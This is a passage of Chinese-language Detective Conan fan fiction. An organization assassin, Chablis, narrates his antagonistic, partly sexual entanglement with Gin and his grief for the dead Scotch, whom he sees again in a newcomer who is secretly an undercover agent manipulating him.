那个金毛长了一张不会让人生厌的脸,肤色在组织里乃至于日本都不算常见,却不会让人觉得突兀异类,金发在额前垂着,始终没有抬头直视我,瞧着乖巧又听话,我却平白窥探到了几分阴险狡诈。
毫无疑问,我那个还在执着于正面击败对手的新人跟那种家伙放一起会被耍得团团转。
我低头把子弹从伤口里挖出来,认真辨认了一下这是什么型号的子弹,准备下次也用这个对付琴酒,俯身去挖下一颗子弹时随口说:“怎么?那个搞情报的把你耍得团团转了?”
琴酒面不改色地“嘶”了一声。
操,我还不了解那个狗东西,一看就知道是故意做出来的样子,我大晚上累死累活给他包扎他还他妈演上了,这又不是午夜剧场,于是我皮笑肉不笑地又加重了几分手劲。
琴酒笑了一声,意有所指道:“朗姆那边给了那个情报贩子代号,你猜会是什么?”
我动作一顿,无意识地将掌心沾了血肉的子弹攥紧,黏稠的血液顺着我的手腕向下蔓延开来,我对上一双绿瞳,从中看到了自己彻底冷下来的脸。
琴酒漫不经心道:“是威士忌啊。”
我呼吸骤然急促起来,把手里的子弹和绷带往墙上一摔,路过门口时踹了一脚门,门板应声破了个大洞,我决定现在立刻马上就去找朗姆那个傻逼拼个命。
琴酒不紧不慢地继续说:“波本威士忌。”
我脚步一顿,转头开始四处搜寻起来。
“你在找什么?”
“锤子,我带来的锤子哪去了?!”
妈的,我今天必须杀了琴酒!!
身后传来一阵笑声,其中带着毫不掩饰的畅快和嘲讽,仿佛我在他眼里就是马戏团里的一只供人娱乐的猴子。
琴酒一贯热衷于看到我为了苏格兰变脸的过程,像是观赏在马戏团里骑单车的猴子,从二十年前那个混蛋第一次用苏格兰死在了某场训练里诓我开始,这场无聊的表演就已经按下启动键,我对此心知肚明,但是这招至今仍旧屡试不爽。
没办法,那毕竟是苏格兰,单是一个名字就能让我燃尽全部理智,连灰烬都无法留下。
我没再管琴酒的伤,刚刚也已经处理得七七八八了,况且琴酒又不是没长手,剩下的他自己就能搞定。
趁着琴酒做最后的包扎时,我开始俯身在房间里寻找起我失踪的锤子,那是我精挑细选带过来的锤子,我很喜欢它,就算它今晚没能锤死琴酒我也一样喜欢它。
一具身体突然从后方附上来,我起身的动作一顿。
我冷笑道:“我知道你脑残,但是你残疾的脑子里完全装不下别的东西了是吗?”
琴酒意味不明地笑了一声:“是啊……”
一只手光明正大地从我的衣摆探了进来,最终停留在了我才贴上不久的药贴边缘,轻轻扣了一下,揭开其中一角又慢悠悠地将其抚平。
“别他妈摸了!”
“腰伤犯了?”
我磨了磨后槽牙,烦躁道:“要做就做,不做就滚。”
琴酒大概是真的脑残得不轻,下巴压在我的肩窝,身体跟我的后背愈发贴合,凑近我耳边说:“这里是我的安全屋,滚也该是你滚啊,夏布利。”
“那就把你的狗爪子给我拿开!”
我们对彼此的身体都很熟悉,这种关系僵持了十几年了,再不想熟悉也已经熟透了。
我被压着陷进沙发里,侧头躲过从上方落下的吻,琴酒大概也不在乎这个,顺势吻上我的颈侧。
他最开始那个虚弱的模样果然他妈的是演的!
“你是狗吗?!”
“你跟苏格兰也这样?”
又开始了,故意提起苏格兰。
我都要怀疑琴酒是不是暗恋苏格兰了。
“呵……怎么可能。”
琴酒的表情刹那间变了,连带着动作频率也毫无征兆一变:“哪里不一样?”
“你他妈——”我咬紧牙关,锤了琴酒一拳,使不上力没关系,找准最重的伤锤就行。
琴酒吃痛闷哼一声,动作却没见缓,反而愈发大开大合肆无忌惮起来。
我终于忍无可忍,咬牙道:“黑泽阵!”
这个名字一出,我们两个同时愣住了。<
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p>我想起自己原本想说的话,假装刚刚的事没发生,喘了几口气,避开视线说:“轻点能死啊。”
他莫名其妙又凑上来吻我,想躲没躲成,只能被迫仰起头跟他亲了一会儿。
鬼知道琴酒怎么那么喜欢啃人,世界末日的时候一定是个变成丧尸的好苗子。
当年的黑泽阵确实是个好苗子,还在训练营里的时候就有教官那么评价他,这些年他也确实越爬越高,像他这样的好苗子在组织里再也找不出第二个。
他是我们那批人里第一个上桌吃到蛋糕的人,组织里有不少中低层的废物愿意追随他,也有像伏特加那样明明出身守旧派却愿意为他倒戈。
说起伏特加,虽然都是酒二代,但我倒是没像讨厌朗姆那样那么讨厌伏特加,那个家伙块头大脑子小,跟在琴酒身边大多数时候都是在打下手,做一些诸如开车一类的小事。
不过我不讨厌伏特加的主要原因还是伏特加曾经给我分过棒棒糖,一个穿黑色西装戴墨镜的壮汉口袋里装着草莓味棒棒糖,任谁都会觉得有意思。
换言之,一个从来不自作聪明的铁憨憨,你跟他一般见识做什么。
我有点烦了。
腰伤本来就犯了,琴酒还偏要用那种姿势。
我的新人还在安全屋等我一起吃饭。
一想到我的新人,我就又想起点别的。
新人前几天问过我和琴酒的关系,我想了挺久也没想出个所以然来,照以前我根本不会思考这种无聊的问题,但是他小心翼翼又期待地看着我,一边好奇一边又担心自己说错了话,眸光闪烁,这谁顶得住,再无聊我也愿意为了那双眼睛动动脑子。
和琴酒的关系,怎么说呢,认识这么多年,做什么都不彻底,仇人不是仇人,情人不是情人,总之要是他能尽早死在我手里就好了,这样就没有什么烂账要算,统统一笔勾销死无对证了。
新人后来解释说是因为觉得我看起来很讨厌琴酒却又时常会和琴酒发生接触,所以才忍不住想问问,怕自己以后说错了什么话会惹我不高兴。
我真服了,我他妈从来没主动找过琴酒,都是那个狗东西隔三差五就过来挑事,从小到大见不得我好过。
但是我那时并没回答新人,只告诉他别想那些有的没的,毕竟我才是上司,他只是我选中的新人而已,理所当然地提出质疑和不作回答都是属于高位者的特权,我爬到如今这个位置无非就是为了掌握这些虚伪的东西。
第一次见琴酒是在六七岁的时候,记不清了,大概是七岁,我站在苏格兰身后,第一次和琴酒对上视线。
苏格兰和琴酒都是被教官寄予厚望的好苗子,而与苏格兰大多时候展现出的平和淡然相反,琴酒的绿瞳像是锐利的箭簇,那一眼恍然击穿了我的骨头,令人心生厌恶。
此后数年里,我没主动跟琴酒说过话,也对,我跟那家伙能有什么好说的,除了部分不得不碰面的任务,成年后的见面也往往发生在床上。
我的确讨厌琴酒,但是在苏格兰死后的十几年里,琴酒始终坚信苏格兰在我心中不可逾越,坚定到甚至胜于我自己,否则他就不会总是拿苏格兰出来激怒我。
这么想着,我忽然觉得琴酒也不是那么可恶了。
“想什么呢?”琴酒捏着我的后颈压着我转过头,一个吻落在唇角,又低声说:“别走神,夏风。”
我的表情逐渐裂开:“哈?——哈?!!”
操,还是锤死琴酒吧。
我开始寻找我的锤子。
“给我松手!!你今天死定了!!”
“夏风是你能叫的吗?!!”
“我他妈跟你没完!!!!”
明日见夏风,我的本名。
上一次被如此称呼还是在苏格兰生前。
他笑着对我说:恭喜啊,夏风,以后就要叫你夏布利了。
我想苏格兰了。
我要回去看看我的新人,现在就去。
这都是琴酒的错。
5.五封遗书
我怒气冲冲地回到安全屋,忙活了一晚上,琴酒没死,锤子丢了,还平白惹了一肚子气。
傻逼琴酒!
我踹了一脚身前的门,还是不解气。
现在回去杀了琴酒还来得及。
好!就这么做!
我刚转身,身后的门突然开了。
新人从门缝中探出头,语气茫然中带着迟疑:“夏布利?”
我的火气瞬间熄灭,只剩下一缕蜿蜒向上的青烟,被风轻轻一吹就散了。
我迅速调整好表情,转头问:“吵醒你了?”
“没。”他看起来像是松了口气,推开门走出来:“我想等您回来再睡来着。”
顿了顿,他又问:“您又要走了吗?”
我当即也懒得理什么琴酒不琴酒的了,大步往回走,边走边说:“等我干什么?万一我不回来了呢。”
新人眨了下眼:“……啊?”
妈的,不对!
怎么说得好像我经常在琴酒那里过夜一样?!
但是特意解释一句又没那个必要,反而显得欲盖弥彰,我干脆直接换了个话题:“吃晚饭了吗?”
临走前我说要带新人吃杀了琴酒的庆功宴,结果耽误了那么长时间,还丢了把锤子。
我又想起我可爱的锤子了,迟早得把它找回来。
新人亦步亦趋地跟在我身后,像是一枚系在腰间的挂坠,他再次摇了摇头:“想等您一起吃。”
我真该死,谴责自己一秒钟,不,三秒钟!
但是这会儿我也没宵夜的心思,这个时间,再等个两个小时就可以直接吃早饭了。
我倒在沙发里,指挥新人给我换药。
琴酒大概是有什么不犯贱就会死的病,雪莉的药用一份少一份,结果他最后还是把药给我揭下来了。
新人没问我为什么出门前换的药这会儿又要换,只乖巧地应了一声。
我趴在沙发上,把脸埋在抱枕里,突然想起来另一回事。
我猛地回身,一把抓住了新人正准备掀开我衣摆的手。
“夏布利?”他疑惑道。
“……”
我重新把脸埋回抱枕里,闷声说:“不用了,回去睡觉吧,天亮了还要去训练场。”
琴酒是狗。
过了好一会儿都没听新人有什么动静,我微微侧头,见他单膝跪在沙发旁,和声问我:“您心情不好吗?”
他的声音很好听,像早年在某个任务里逃窜进深山时遇到的一汪泉水。
这会儿他一凑近说话,我感觉自己的心灵都被净化了,太可怕了。
我顺手揉了一把他的头发,和想象中一样柔软,也和记忆中一样柔软,于是我的心也愈发软下来。
“去休息吧。”
这一次他倒是听话地离开了。
等我再醒来时,已经是第二天中午的事了。
我身上盖着条毯子,怀里抱着新人,两个人紧挨着一起挤在沙发里,一睁眼就是一双蓝眸,我有点没反应过来,一时分不清这是梦境还是现实。
“您醒了。”
哦,是现实。
“怎么不叫醒我?”看外面的太阳就知道错过了训练的时间。
新人笑着说:“我看你好像很累,想着晚起一次也没关系。抱歉,下午训练的时候罚我吧。”
苏格兰也对我说过那种话,晚起一次也没关系,把训练量补回来就好,但是这种事不可以发生在他自己身上。
我的腰还在痛,从神经和骨髓里透出来的痛,仿佛在提醒我眼前人非彼时人。
雪莉的药早前确实好用,但用得时间越久药效就越不明显,我的身体已经逐渐形成抗药性。
我捂住脸清醒了一会儿,缓慢将手松开,坐起来。
苏格兰说得对,我休息半天怎么了,不妨事,又不是下午不去训练场了,又不是明天不去练习了。
新人也坐起来,我看着他,没问他怎么就跑过来跟我挤沙发的事,而是问了一个不太相干的问题:“你多大来着?有二十五吗?”
他有点诧异,但还是迅速回答:“二十二岁。”
“喔,二十二岁。”
我觉得有点好笑,因为新人他八成已经趁着我没醒的时候想好该怎么完美回答挤沙发这个问题了,但我偏偏不问,反正他说什么我都爱听。
二十二,我在心里琢磨着那个数字,二十二岁,比我小了七岁。
七岁的时候我在做什么?那会儿能吃饱饭了吗?哦,好像没有。
我和新人相差七岁,在我遇到苏格兰的那年,新人他正好出生。
想到和苏格兰的相遇,我神情中忍不住露出点笑意,轻咳了一声,继续说道:“那你听好,我已经二十九岁了。”
二十九岁,听起来似乎正值巅峰期,但是对一个流水线式培养的杀手来说已经一只脚迈进了下坡路,我同期的杀手成百上千,除我以外如今还活着的也只剩下琴酒一个而已。
我和琴酒能活到今日,也无非是踩着别人的尸体爬得足够高罢了。
我告诉新人我的年龄不是在告诉他我资历多老、地位有多高,我是在提醒他要把握时机。
“新人。”我还不知道他的名字,不过也正好用这个字眼提醒一下他如今的处境,一个无名小卒,在组织里约等于零的关注度还是因为我才零星出现。
我盘腿坐在沙发上,轻描淡写道:“我从十二岁开始做杀手,十七年了,我今年二十九岁,对一个杀手来说,这已经是即将走向落幕的年龄。”
新人没说话,他跪坐在沙发上,一脸郑重地听我讲那些有的没的。
他总是那样,无论我说什么都表现得很认真,随口一句话也会奉为圭臬,给我一种仿佛哪次他没达成我的期望就是对不起我一样的错觉。
想到这里,我又笑了一下。
我对他的故作姿态一向受用,我清楚,他比我更清楚。
“我不想浪费时间去做一些或许会有意义或许没意义的事,意义本身就对我来说就毫无意义,所以啊……菜鸟。”
我抬手轻轻摸了一下他的眼尾,顺势将手落在他的肩上拍了拍,“诱惑我、利用我、用尽一切手段踩着我向上爬,这是我能给你的唯一忠告。”
新人定定地看着我,他下意识地想要挺直脊背,但是碍于我搭在他肩上的手,他又立刻稍微弯下了腰,这让我们在同处一道水平线上时本稍矮几厘米的我反而显得更高一些。
他略略垂着头,却不影响他直白地抬眸看向我,那双眼睛一如既往地铺满沉静的底色,像是只有起风时才能微微泛起波澜的湖水,阳光透过窗户映射进来,从这个角度下看那双蓝眸简直亮得惊人。
我在心里感叹了一句,那双眼睛真是太漂亮了。
就这么对视了几秒后,新人忽然笑起来:“夏布利大人,我还需要诱惑您吗?”
“……哦?”
“从见我的第一面开始,您不就已经挪不开眼
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了吗?”
操。
我无声地骂了一句。
只是无声的而已,我没舍得对他骂出声。
没错,就是这样,苏格兰就是这样。
笑起来很好看,很少会露出危险的表情,会心慈但是从不手软,像是一把泛着银光的尖刀,擦干血渍收入刀鞘后会悲悯地望着脚下的亡魂,不择手段也好,设计陷害也好,无论面对什么都永不动摇。
在初识的在训练场苦苦挣扎的那五年里,苏格兰就是我的灯塔,仿佛只要朝他走去就没有任何东西能阻挡我,只要跟着他就哪里都能到达。
我也的确为他所向披靡了。
十二岁时,我正式成为杀手,杀死了人生中第一个任务对象,那不是我杀的第一个人,却是我作为杀手第一次如此正式地去杀人。
不兴奋也不恶心,没什么感觉,任务结束后,我匆匆地跑回去找苏格兰,因为我有问题迫不及待地想从他那里知道答案。
我问苏格兰:“如果哪天你的任务目标是我呢?”
苏格兰愣了一下,笑着说:“那我会温柔一点,不会让你感到痛苦的。”
我很高兴,欢呼着去抱他。
如果某天要我去杀死苏格兰,那见到他的那一刻我就会缴械投降,比起自杀,我更希望死在他手里。
有什么关系?反正苏格兰说了,他会温柔地杀死我的。
像是在我问出那个问题后苏格兰一如既往地稳稳地接下我的拥抱一样,新人试探性地张开了手臂抱过来,他的动作小心又迟缓,谨慎地为自己留出了充足的在我表现出不快后迅速收手的时间。
我当然没叫停。
真该死啊。
我指我自己。
我在新人尚在犹豫时往前一扑,紧紧抱住了他。
苏格兰的拥抱,一个久违的、时隔十一年的拥抱。
如果苏格兰还活着,苏格兰二十二岁时一定就是这个模样。
这一刻,我有种想把我的一切都送给这个人的冲动,就像我曾经从苏格兰那里得到了一切一样。
我真是个混蛋。
我该死。
为什么那时候死的不是我而是苏格兰。
***
那个人哭了。
诸伏景光的目光落在墙上的钟表上,感受到颈侧的湿意以及不怎么压抑的哽咽,他再次确认,那个人真的在哭。
其实不需要太额外确认,毕竟从他张开手臂的那一刻开始,那个人的神情就已经带上了恍惚和错愕。
夏布利在透过他去看另一个人,也在借这个拥抱去拥抱另一个人。
原来搞定夏布利就这么简单,他欣然想起,之前夏布利对他说不要多想,他还以为那是在警告自己守好本分。
他觉得自己已经掌握利用夏布利的技巧了。
不需要甜言蜜语,不需要浓情蜜意,也不需要亲吻或者□□,只需要一个普通的拥抱和微笑就足矣,单单那两样就仿佛能从夏布利手中获得他想得到的一切。
诸伏景光微微侧头,让对方能更好地沉溺于这个拥抱,他轻轻拍了拍那个人的背。
无论如何,对执行卧底任务来说,这是再顺利不过的状况了。
不过,昨天晚上……
诸伏景光又轻嗅了一下怀中那人的颈侧,的确是没闻过的沐浴露的味道。
他瞥见藏在领口下的痕迹,心中了然。
原来如此。
又是和琴酒……吗?
6.六封遗书
一码归一码,下午的时候我还是带着新人去了训练场,组织又不是超市,训练量不能打折。
好消息,今天没在训练场遇到琴酒,但是没过多久遇到了个比琴酒也好不了多少的家伙,晦气。
我现在一想到琴酒就来气,那个长得跟琴酒差不多的家伙算是撞到我的枪口上了。
但那人偏偏是雪莉推荐的,偏偏我这会儿腰上还贴着雪莉做的药。
我不认识那个女孩,也向来跟实验室那边没什么牵扯,不过算下来总归是我欠了雪莉一个人情。
我深吸了一口气,干脆眼不见心不烦,转身走远了点。
没走出几步,我磨了磨后槽牙,气势汹汹地掉头往回走。
操,凭什么是我靠边站,一个连代号都没有的家伙,就算走也该是他该滚远点才对。
我盯着那个绿眼睛的家伙看了一会儿,“切”了一声,懒得理了。
新人还在看着呢,我得有点风度。
夏布利啊夏布利,你要在新人面前做一个文雅的人啊,我不知道第几次这么在心里告诫自己。
我抬起头,望向身处高台的新人,从这个角度看过去,只能看清狙击枪的枪管和一头黑发,但是我依然能想象出他专注的神情。
过去和苏格兰一起训练时,我就时常在他身旁看着,没有人比我更清楚苏格兰瞄准猎物时会露出什么表情。
新人正在做连续性狙击训练,我等着看他究竟能做到什么程度,不过瞧着训练开始前他那副自信的模样,结果大概不会让我失望。
迄今为止,他还从未让我失望过。
想到这里,我脸上不自觉地流露出点笑意。
不愧是苏格兰。
“你好。”
我脸上的笑容刹那间垮下来。
呵呵,连这个没事找事的毛病都跟琴酒一个样,真该死啊。
我侧眸瞥了一眼站在身旁的家伙,皮笑肉不笑地开口:“干嘛?”
啧,多看一眼都嫌烦,能不能弄死啊。
治标不治本,果然还是去杀了琴酒吧。
“打扰了,我是想问一下,今天这个训练场大概什么时间会空出来?”那个留着一头黑色长发的人微笑着解释起来:“隔壁的训练场出问题了,只剩下这边可以使用了。”
“……”
我眨了眨眼,沉默了几秒,忍不住捂住脸低低地笑起来。
不行,受不了,长头发绿眼睛,我一看那个家伙就想起当年的琴酒,一联想到琴酒对我毕恭毕敬地说话还露出那种恶心的表情,我就忍不住想笑。
笑着笑着我忽然想到点什么,转过身上上下下仔细打量了那个长头发绿眼睛的新人一会儿,饶有兴趣地摸了摸下巴。
我想到了点新玩法。
“喂,你叫什么名字?”我问。
雪莉推荐的新人做事果然滴水不漏,心里八成不大乐意答话,却还是面不改色地回答道:“诸星大。”
“哦,行。”我意味不明地笑了一声:“我记住你了。”
能怎么玩等后面有兴致了再提也不迟,这边的小插曲可以结束了,我继续看我的新人训练。
过了两分钟我才反应过来,那个碍眼的家伙竟然还没走。
我皱眉道:“你还杵在这里干嘛?”
那个自称叫做诸星大的家伙沉吟不语,片刻后才回答说:“抱歉,现在就走。”
我又不是没长脑子,我当然知道他干嘛要杵在那里,但是我知道不代表我要在意,我无所谓道:
“我在这里,这片场地当然就是我的新人的,有这时间你不如给雪莉打个电话让她催一下人去把隔壁场地换套设备。”
我的新人用的是最好的就行,谁管别人能不能用上训练场啊,真好笑。
苏格兰值得最好的一切。
***
今天的训练看样子是做不成了,赤井秀一回到更衣室。
那人的话明显是在呛声,不过他觉得那个建议倒是可以参考。
于是他给雪莉打了通电话。
当然,他要说的和训练场的设备无关,那种小状况还不至于让他主动联系雪莉。
电话很快就被接通,他也直入主题地问出了想知道的问题。
“一个红色眼睛的代号成员?哦,你指的是夏布利吧。”电话那端,雪莉莫名沉默了一会儿,似乎是在斟酌如何用词,最终说:“他啊……他是一个爱憎分明的人。”
赤井秀一挑了挑眉,爱憎分明,这倒是一个不太常见的形容词。
雪莉大概是换了个地方说话,没像最初那样过分压低声音,这才继续说道:
“夏布利在组织里算个特别的存在,他地位不低,不属于任何一个派系,所以有些带着利益纠葛的任务反而很适合由他来做,倒是一直有人在威逼利诱地拉拢他,不过以他那个性格……”
雪莉说话点到即止,赤井秀一秒懂。
哪怕只是刚刚说了几句话而已,也足够看出来那个叫做夏布利的代号成员是个什么个性了。
宁折不弯,目中无人,性格恶劣,不把任何东西放在眼里。
赤井秀一的眼前忽然闪过那个有着一双红瞳的代号成员仰望狙击台时的神情。
……不,说不定那个人眼睛里还是能装下点什么的。
“不过奉劝一句,你最好还是别招惹他,脾气不好只是一方面,按他的资历来算,他也是组织里的老人了……他加入组织起码有二十年了吧?”那个数字已经超过了雪莉自身的年龄,所以说这话时她也带着点迟疑。
赤井秀一略微惊讶:“二十年?”
那个人看起来也就二十几岁的模样,竟然已经在组织里待了二十年了。
“嗯,他跟琴酒是同期进入组织的。”
赤井秀一的注意力被稍微转移,问了一个和最初的出发点不太相关的问题:“他和琴酒的关系怎么样?”
“应该还不错?”雪莉的声音听起来带着点纠结,但很快坚定下来:“挺不错的吧。”
那种反应显然是有什么依据,赤井秀一故意作出疑惑的语调:“原来是这样啊,我听说他们关系一般来着。”
雪莉的声音里带着无语,隐约还能听出几分咬牙切齿:“那两个人之间的关系绝对不像传闻中那么紧张,琴酒曾经用枪指着我让我为夏布利研发特效药。”
“特效药?他受过伤吗?”杀手平常受伤再正常不过,他指的是值得让雪莉出手制作特效药的那种严重伤病。
“对,很重的腰伤。”
就这样又聊了几句,赤井秀一率先挂断了电话,思索中,他的指腹无意识地敲了敲手机后壳。
“夏布利啊……”
拿到了有用的情报呢。
***
新人从狙击训练结束后就有点奇怪。
我思索着,到底是哪里出了问题。
饿了?累了?困了?不想训练想出去玩?想到了不开心的事?训练成绩没达到他的预期?
想来想去,我“啧”了一声,干脆直接拉住他的手问:“怎么不高兴?”
他一脸无辜地说:“没有啊。”
“说谎。”
我皱眉盯着他,他却别开了视线。
我无奈又好笑:“唉,你啊。”
我已经忘了多久没看过苏格兰的脸上露出这种表情了,所以本该对那种反应产生烦躁时,我却反倒是希望新人再多保持一会儿这种状态。
苏格兰成长得很快,他是被教官们寄予厚望的好苗子,我的杀手生涯完全可以说是追着他前行的,他永远都走在我前方,只要我抬起头,就一定能看到苏格兰的身影。
我无时无刻不注视着他,所以清楚他的每一个若无其事的表情之下的含义。
所以即使新人嘴上说着
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没什么,我依然能一眼看出来他在想什么。
左右早就错过晚饭的时间了,也不着急回安全屋,干脆拉着新人一起靠在车门上放松一会儿,我侧头问:“怎么?不能说给我听吗?”
新人转头看过来,眨了眨眼,问:“我可以不回答吗?”
我愉快地笑起来:“当然可以。”
过去我还能带着他就是个新人我是上司这一类的想法压迫他给出我想听的答案,那个拥抱过后却再也做不到了。
正如苏格兰过去对我温柔以待,我现在无法对新人故作冷漠,更无法强迫他去做什么。
苏格兰从来都不是温顺的,我乐得看到新人身上愈发展露出属于苏格兰的特质。
我强迫自己暂且移开视线,抬头望向地下车库里的灯,那盏被我用伯.莱塔砸坏的灯早就已经被修好了。
太像了。
像到我不舍得移开视线。
无论是长相还是个性,像到让我恍然以为是苏格兰回来了。
大概是盯着那盏灯看太久了,眼睛忽然就有些酸涩,我卸力往身旁那人肩上靠了靠,垂眸轻声道:“新人,去为我拿一个代号回来吧。”
他语气坚决,像是在向我宣誓:“我会为您做到的。只要您想,我就会完成您所期望的一切。”
我勾了下唇。
真是的,又来了,他太清楚我喜欢听什么话了。
“我当然相信你能做到。”
带着仿佛不顾一切的冲劲想向上爬,当年我也有过这种阶段,只不过和此刻配合我的动作同我靠在一起的那个为了向上爬而演戏的年轻人不同,我当初是真的为了一个人才那么拼的。
当年我为了苏格兰能做到所向披靡,如今的新人为了踩着我向上爬,大抵也能为我不顾一切。
他装模作样地说着会为我做到一切,但想也知道,等哪天我失去利用价值,我就会沦为被他弃之不顾的一切之一。
无所谓。
谁会在意那种事情?
连苏格兰都已经离开我了,这个世界上还有什么不会离开我?
少年时期我总想要是能死在苏格兰手里就好了,又觉得不如死在苏格兰怀里,纠结来纠结去,苏格兰死了,我浑浑噩噩活到了现在,要是哪天死在新人手里也不是不行。
我曾经为了苏格兰不顾一切过,所以才更清楚新人口中不顾一切的话有多假。
无所谓。
反正他本来就是假的。
我爱听他的假话。
***
身旁的人静静地靠在他肩上,诸伏景光不留痕迹地侧目看了一眼,那个人已经闭上了眼睛,似乎是在闭目养神,微微蹙着的眉头又好像在表达不止于此。
诸伏景光悄然收回了视线。
其实他和夏布利身高相差无几,但是那个人看起来竟然是真的放松下来,所以就这么随意靠着时竟然也算契合。
他想起在连续性狙击训练中透过瞄准镜看到的那两个并排站在一起的身影,除了身体之间相隔的距离以外,跟他们此刻并排靠在车门上相比,似乎也没太大区别。
一直注视着他的夏布利的目光从他身上移开了,于是他顺着夏布利的目光将注意力聚集在了站在夏布利身旁的那个人身上。
那人敏锐得可怕,瞬间抬起头看过来,眼神如同锐利的箭簇。
他们隔着七百码的距离以及一块透明的瞄准镜对上视线,诸伏景光眉头微拧。
那是一双与琴酒如出一辙的绿瞳。
啧,又是变数。
得想个办法让夏布利眼中只有他,这样才能更好、更加准确无误地利用夏布利去完成卧底任务。
诸伏景光思考良久,其实这个问题有着一个再简单不过的答案。
去拿到一个特殊的代号,一个令夏布利日思夜想、即使在睡梦中也仍旧无意识地呢喃的名字——苏格兰。
7.七封遗书
新人是个万里挑一的新人,但是这样的新人在偌大的组织里也足足有三个。
我倒是不意外,毕竟当年在训练场里,像苏格兰那样好的苗子,尚且都有琴酒那种多余的家伙与其旗鼓相当。
我最近想起苏格兰的频率格外高些,以前可能一天只想起二十几次次,现在会想起三十几次。
大概是因为新人总是在我眼皮子底下晃悠吧。
就像新人此前对我承诺的那样,接下来他会用尽一切去为我拿到一个代号,这段时间里我带着他刷了一些任务,也远远望着他独自完成了一些任务,就这样过去了几个月,新人终于迎来了那个至关重要的任务。
那个任务我不能再跟着他了,他得自己搞定。
我相信他一定能完美解决。
新人只身前往去美国执行任务,我在日本也照旧做着我的任务,却总是有些心不在焉。
不过就算再心不在焉,也不至于沦落到会在任务里栽跟头的程度。
又一次将任务轻松完成,我静静地靠着天台的围栏,望着远方出神。
这次跟我一起出任务的也是个新人,我从来不知道组织有这么小,搭档执行任务的那个新人恰巧是雪莉推荐进组织的新人。
我说过,像我领着的新人那么出彩的新人,组织里足足有三个,这会儿正单膝跪在地上整理枪械的三者之一。
我有些无聊,转头看向那个戴着针织帽的家伙。
没记错的话,他应该是叫做诸星大。
真难得啊,我竟然能记住一个看不顺眼的新人的名字。
那种程度的家伙只要不死迟早能拿到代号,记住一个注定会被舍弃的名字没有任何意义,就好比如今也没人会叫我明日见夏风。
哦,琴酒不算人。
那个叫做诸星大的新人很敏锐,在我转身看向他的瞬间便察觉到了我的动作,同时,他也十分谨慎,于是明明察觉到了我的目光,却仍旧装作若无其事地没有抬头。
我思来想去没想到什么合适的形容词,最终只感叹了一句:“真不愧是雪莉。”
像雪莉那样一个天才少女,会推荐进来一个如此优秀的新人也不值得意外。
就好像朗姆手底下的那个新人,这会儿早已经拿到了“波本”这个代号,组织里的人对那个新人的惊叹只浮于表面,言谈间往往都会落向同一点——真不愧是朗姆的眼光。
也有人这么向我感慨过我的新人,对我说真不愧是夏布利啊,去新人训练场逛了一下就挑出来这么好的一个苗子。
我对那种夸奖并不买账,那些愚蠢又平庸的家伙怎么会明白,苏格兰的天赋根本不止于此。
兜兜转转,我又想起了琴酒。
除了我,只有琴酒还记得当年的苏格兰。
我仰起头无意义地望着天空,游云浮走,雪莉的新人这会儿已经整理好了我们两个的狙击枪,起身朝我走过来。
我眼珠微动,瞥了他一眼,“会抽烟吗?”
他肩上背着个装着狙击枪的乐器包,手边还拎着一个款式差不多的,那是我用来伪装狙击枪的乐器包。
有人帮忙拎东西,我也乐得能不动手,到了我如今这个程度,一个新人能替我拎包,那他该感到荣幸。
他很圆滑,但和我的新人持有的谨慎不同,叫做诸星大的新人会更大胆一点。
对于我的问题,他笑着反问:“您希望我会还是不会?”
我忍不住笑了一声,心想,琴酒一向狗嘴里吐不出象牙,可不会说这么圆滑的话。
我倒是也不是把他当琴酒2.0,我只是觉得长发和绿色虹膜放在一起跟琴酒的外貌特征有所重叠,这样时不时捉弄一下那个新人还挺好玩的。
退一步讲,就算我真把他当琴酒2.0又如何?一个新人,就算是雪莉推荐来的,现如今也只是组织里一抓一大把的底层人员而已。
“会不会的……倒也不是很重要。”
我抬手朝他口袋里探去,轻而易举地找出了香烟,他全程没有流露出任何抵触情绪。
如果是琴酒,无论是多年前的还是现如今的,这会儿大概都已经把我按在地上了。
那个问题其实没什么意义,他把问题圆滑地向我抛回来自然也没有任何意义,毕竟在第一次跟他擦肩而过的时候我就知道,他一定抽烟。
我对烟味很敏感,我讨厌烟味也并非是讨厌烟草本身,而是讨厌不知从何时起身上就总是萦绕着若有若无烟草气息的琴酒。
我随意从烟盒里磕出一根烟咬在嘴里,甚至不需要对上视线,那个家伙就已经恭敬地递上了打火机。
我没抬手,咬着烟皱了下眉,他便动作流畅地凑过来将那支香烟点燃了。
我无端笑了一下,不止是因为他的行为,还因为那根正缓慢燃烧着的香烟。
一贯讨厌烟味的我其实会抽烟,讲个笑话,那还是琴酒强行教给我的。
我指尖夹着烟,朝新人扬了扬下巴,他略显疑惑,站在那里没动。
于是我似笑非笑地朝他勾了下手,他靠近了两分,我趁机将一口烟雾尽数吐在他脸上。
他咳嗽起来,眸光倒是依然镇静,隔着迅速在风中消弭的烟雾与我对视。
“啧。”我突然就觉得兴致全无,把燃了一半的香烟随手丢掉,嗤了一声:“没意思。”
无聊的家伙,跟琴酒一个狗样,竟然还演上了,天天吐云吐雾的家伙会被那口烟呛到才离谱,知道我想看什么就演给我看,真让人恶心。
“你自己收尾吧,这种小事能做好吧?”
我没理会他是否做出了什么反应,总之就当他默认了,一个新人还不至于有选择权,我心安理得地扬长而去。
走出天台时我收到了一条简讯,是琴酒发来的。
我没看,直接删掉了,顿了顿,又打开对话框打了几个字发过去。
往安全屋走的路上,一辆古董车停在了我身旁。
车窗缓缓降下来,露出一张熟悉的脸,琴酒嗓音冷淡:“你竟然会主动找我。”
他竟然会自己开那辆车不带着伏特加,我觉得这更值得感慨。
“我以为伏特加跟这辆古董车是绑定在一起的。”
琴酒从鼻腔发出一声嗤笑,推开车门下车,又目不斜视地随手将车门关上。
还是那张死人脸,但是我感觉他今天似乎心情不错。
“所以?找我做什么?”
他正说着,忽然皱了下眉,一步凑近,拎着我的衣领嗅了一下,锐利的目光迅速扎向我的眼睛。
那种眼神让我想起二十多年前第一次见琴酒时的扎在身上的凉飕飕的目光,我顿时没好气道:“干嘛?”
琴酒的表情变了,虽然看起来其实都是没什么表情,但是我能看出来他的表情在变化,几秒后,一个字极其缓慢地从他的牙缝挤出来:“——谁?”
“什么谁?”我骂了一声:“你他妈别搞得跟捉奸一样行吗?!”
琴酒单手捏着我的下巴左右看了一会儿,神色愈发阴翳:“你还跟他接吻了?”
接个屁吻,我再次重复:“你他妈别搞得好像捉——”
一个直白又过分激烈的吻落下来而来,我尝到了苦味,不知道究竟是我抽的那半支烟带来的还是琴酒的吻里惯有的苦味。
这个吻持续的时间格外久,一吻终于结束,他在我耳边压着声音说:“我给你最后一次机会,说,是谁?”
